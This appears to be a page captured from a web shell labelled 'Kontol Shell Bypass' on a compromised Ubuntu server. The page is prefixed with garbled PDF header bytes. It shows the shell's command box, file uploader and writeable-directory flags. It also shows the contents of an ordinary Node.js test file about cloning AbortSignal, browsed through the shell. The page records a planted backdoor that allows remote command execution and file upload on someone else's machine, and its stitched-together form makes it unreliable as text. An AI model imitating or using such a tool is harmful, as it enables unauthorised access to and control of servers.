%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/test-abortsignal-cloneable.js
'use strict';

const common = require('../common');
const { ok, strictEqual } = require('assert');
const { setImmediate: pause } = require('timers/promises');

function deferred() {
  let res;
  const promise = new Promise((resolve) => res = resolve);
  return { res, promise };
}

(async () => {
  const ac = new AbortController();
  const mc = new MessageChannel();

  const deferred1 = deferred();
  const deferred2 = deferred();
  const resolvers = [deferred1, deferred2];

  mc.port1.onmessage = common.mustCall(({ data }) => {
    data.addEventListener('abort', common.mustCall(() => {
      strictEqual(data.reason, 'boom');
    }));
    resolvers.shift().res();
  }, 2);

  mc.port2.postMessage(ac.signal, [ac.signal]);

  // Can be cloned/transferd multiple times and they all still work
  mc.port2.postMessage(ac.signal, [ac.signal]);

  mc.port2.close();

  // Although we're using transfer semantics, the local AbortSignal
  // is still usable locally.
  ac.signal.addEventListener('abort', common.mustCall(() => {
    strictEqual(ac.signal.reason, 'boom');
  }));

  await Promise.all([ deferred1.promise, deferred2.promise ]);

  ac.abort('boom');

  // Because the postMessage used by the underlying AbortSignal
  // takes at least one turn of the event loop to be processed,
  // and because it is unref'd, it won't, by itself, keep the
  // event loop open long enough for the test to complete, so
  // we schedule two back to back turns of the event to ensure
  // the loop runs long enough for the test to complete.
  await pause();
  await pause();

})().then(common.mustCall());

{
  const signal = AbortSignal.abort('boom');
  ok(signal.aborted);
  strictEqual(signal.reason, 'boom');
  const mc = new MessageChannel();
  mc.port1.onmessage = common.mustCall(({ data }) => {
    ok(data instanceof AbortSignal);
    ok(data.aborted);
    strictEqual(data.reason, 'boom');
    mc.port1.close();
  });
  mc.port2.postMessage(signal, [signal]);
}

{
  // The cloned AbortSignal does not keep the event loop open
  // waiting for the abort to be triggered.
  const ac = new AbortController();
  const mc = new MessageChannel();
  mc.port1.onmessage = common.mustCall();
  mc.port2.postMessage(ac.signal, [ac.signal]);
  mc.port2.close();
}

Kontol Shell Bypass